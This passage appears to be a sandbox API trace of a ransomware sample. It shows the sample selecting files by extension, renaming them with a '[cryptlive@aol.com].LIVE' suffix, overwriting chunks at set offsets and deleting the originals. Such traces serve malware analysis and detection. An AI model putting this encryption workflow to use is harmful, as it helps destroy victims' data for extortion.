[0054.276] lstrlenW (lpString=".1cd") returned 4 [0054.276] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.276] lstrlenW (lpString=".jpg") returned 4 [0054.276] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.276] lstrlenW (lpString=".doc") returned 4 [0054.276] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.276] lstrlenW (lpString=".docx") returned 5 [0054.276] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0054.276] lstrlenW (lpString=".pdf") returned 4 [0054.276] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.276] lstrlenW (lpString=".xls") returned 4 [0054.276] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.276] lstrlenW (lpString=".xlsx") returned 5 [0054.276] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0054.276] lstrlenW (lpString=".ppt") returned 4 [0054.276] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.277] lstrlenW (lpString=".zip") returned 4 [0054.277] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.277] lstrlenW (lpString=".rar") returned 4 [0054.277] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.277] lstrlenW (lpString=".bz2") returned 4 [0054.277] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.277] lstrlenW (lpString=".7z") returned 3 [0054.277] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.277] lstrlenW (lpString=".dbf") returned 4 [0054.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.277] lstrlenW (lpString=".1cd") returned 4 [0054.277] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0054.277] lstrlenW (lpString=".jpg") returned 4 [0054.277] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.277] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0054.277] lstrlenW (lpString="VisiorWW.msi") returned 12 [0054.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0054.278] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=12060672) returned 1 [0054.278] CloseHandle (hObject=0x160) returned 1 [0054.278] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0054.278] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0054.278] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0054.278] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0054.279] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.279] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.279] ReadFile (in: hFile=0x160, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.592] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.592] ReadFile (in: hFile=0x160, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.602] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.602] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.602] ReadFile (in: hFile=0x160, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.617] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.617] WriteFile (in: hFile=0x160, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0055.846] SetEndOfFile (hFile=0x160) returned 1 [0055.846] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x4027930 [0055.936] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.936] WriteFile (in: hFile=0x160, lpBuffer=0x4027930*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4027930*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.938] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.938] WriteFile (in: hFile=0x160, lpBuffer=0x4027930*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4027930*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.943] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.943] WriteFile (in: hFile=0x160, lpBuffer=0x4027930*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x4027930*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.946] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4027930 | out: hHeap=0x520000) returned 1 [0055.946] CloseHandle (hObject=0x160) returned 1 [0055.947] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0055.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.947] lstrlenW (lpString=".doc") returned 4 [0055.947] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.947] lstrlenW (lpString=".docx") returned 5 [0055.947] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0055.947] lstrlenW (lpString=".pdf") returned 4 [0055.947] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.947] lstrlenW (lpString=".xls") returned 4 [0055.947] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.947] lstrlenW (lpString=".xlsx") returned 5 [0055.947] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0055.947] lstrlenW (lpString=".ppt") returned 4 [0055.947] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.947] lstrlenW (lpString=".zip") returned 4 [0055.947] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.947] lstrlenW (lpString=".rar") returned 4 [0055.947] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.947] lstrlenW (lpString=".bz2") returned 4 [0055.947] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.948] lstrlenW (lpString=".7z") returned 3 [0055.948] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.948] lstrlenW (lpString=".dbf") returned 4 [0055.948] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.948] lstrlenW (lpString=".1cd") returned 4 [0055.948] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.948] lstrlenW (lpString=".jpg") returned 4 [0055.948] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.948] lstrlenW (lpString=".doc") returned 4 [0055.948] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.948] lstrlenW (lpString=".docx") returned 5 [0055.948] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0055.948] lstrlenW (lpString=".pdf") returned 4 [0055.948] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.948] lstrlenW (lpString=".xls") returned 4 [0055.948] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.948] lstrlenW (lpString=".xlsx") returned 5 [0055.948] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0055.948] lstrlenW (lpString=".ppt") returned 4 [0055.948] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.948] lstrlenW (lpString=".zip") returned 4 [0055.948] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.948] lstrlenW (lpString=".rar") returned 4 [0055.948] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.948] lstrlenW (lpString=".bz2") returned 4 [0055.948] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.948] lstrlenW (lpString=".7z") returned 3 [0055.948] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.948] lstrlenW (lpString=".dbf") returned 4 [0055.948] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.949] lstrlenW (lpString=".1cd") returned 4 [0055.949] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0055.949] lstrlenW (lpString=".jpg") returned 4 [0055.949] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.949] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0055.949] lstrlenW (lpString="EEINTL.DLL") returned 10 [0055.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0055.949] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=64096) returned 1 [0055.950] CloseHandle (hObject=0x160) returned 1 [0055.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0055.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0055.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0055.950] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.950] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0055.951] GetLastError () returned 0x0 [0055.951] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0xfa60, lpOverlapped=0x0) returned 1 [0056.026] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0056.029] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.029] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0056.029] SetEndOfFile (hFile=0x208) returned 1 [0056.029] CloseHandle (hObject=0x208) returned 1 [0056.029] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.029] SetEndOfFile (hFile=0x160) returned 1 [0056.031] CloseHandle (hObject=0x160) returned 1 [0056.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.031] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0056.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.032] lstrlenW (lpString=".doc") returned 4 [0056.032] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.032] lstrlenW (lpString=".docx") returned 5 [0056.032] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0056.032] lstrlenW (lpString=".pdf") returned 4 [0056.032] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.032] lstrlenW (lpString=".xls") returned 4 [0056.032] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.032] lstrlenW (lpString=".xlsx") returned 5 [0056.032] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0056.032] lstrlenW (lpString=".ppt") returned 4 [0056.032] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.032] lstrlenW (lpString=".zip") returned 4 [0056.032] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.032] lstrlenW (lpString=".rar") returned 4 [0056.032] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.032] lstrlenW (lpString=".bz2") returned 4 [0056.032] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.032] lstrlenW (lpString=".7z") returned 3 [0056.032] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.033] lstrlenW (lpString=".dbf") returned 4 [0056.033] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.033] lstrlenW (lpString=".1cd") returned 4 [0056.033] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.033] lstrlenW (lpString=".jpg") returned 4 [0056.033] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.033] lstrlenW (lpString=".doc") returned 4 [0056.033] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.033] lstrlenW (lpString=".docx") returned 5 [0056.033] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0056.033] lstrlenW (lpString=".pdf") returned 4 [0056.033] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.033] lstrlenW (lpString=".xls") returned 4 [0056.033] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.033] lstrlenW (lpString=".xlsx") returned 5 [0056.033] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0056.033] lstrlenW (lpString=".ppt") returned 4 [0056.033] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.033] lstrlenW (lpString=".zip") returned 4 [0056.033] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.033] lstrlenW (lpString=".rar") returned 4 [0056.033] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.033] lstrlenW (lpString=".bz2") returned 4 [0056.034] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.034] lstrlenW (lpString=".7z") returned 3 [0056.034] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.034] lstrlenW (lpString=".dbf") returned 4 [0056.034] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.034] lstrlenW (lpString=".1cd") returned 4 [0056.034] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0056.034] lstrlenW (lpString=".jpg") returned 4 [0056.034] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.034] lstrcmpiW (lpString1=".CNT", lpString2=".LIVE") returned -1 [0056.034] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0056.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0056.064] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2557) returned 1 [0056.064] CloseHandle (hObject=0x160) returned 1 [0056.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0056.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0056.065] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.065] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0056.116] GetLastError () returned 0x0 [0056.116] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x9fd, lpOverlapped=0x0) returned 1 [0056.277] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0056.278] ReadFile (in: hFile=0x160, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.278] WriteFile (in: hFile=0x208, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.278] SetEndOfFile (hFile=0x208) returned 1 [0056.278] CloseHandle (hObject=0x208) returned 1 [0056.278] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.278] SetEndOfFile (hFile=0x160) returned 1 [0056.279] CloseHandle (hObject=0x160) returned 1 [0056.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.279] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0056.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0056.280] lstrlenW (lpString=".doc") returned 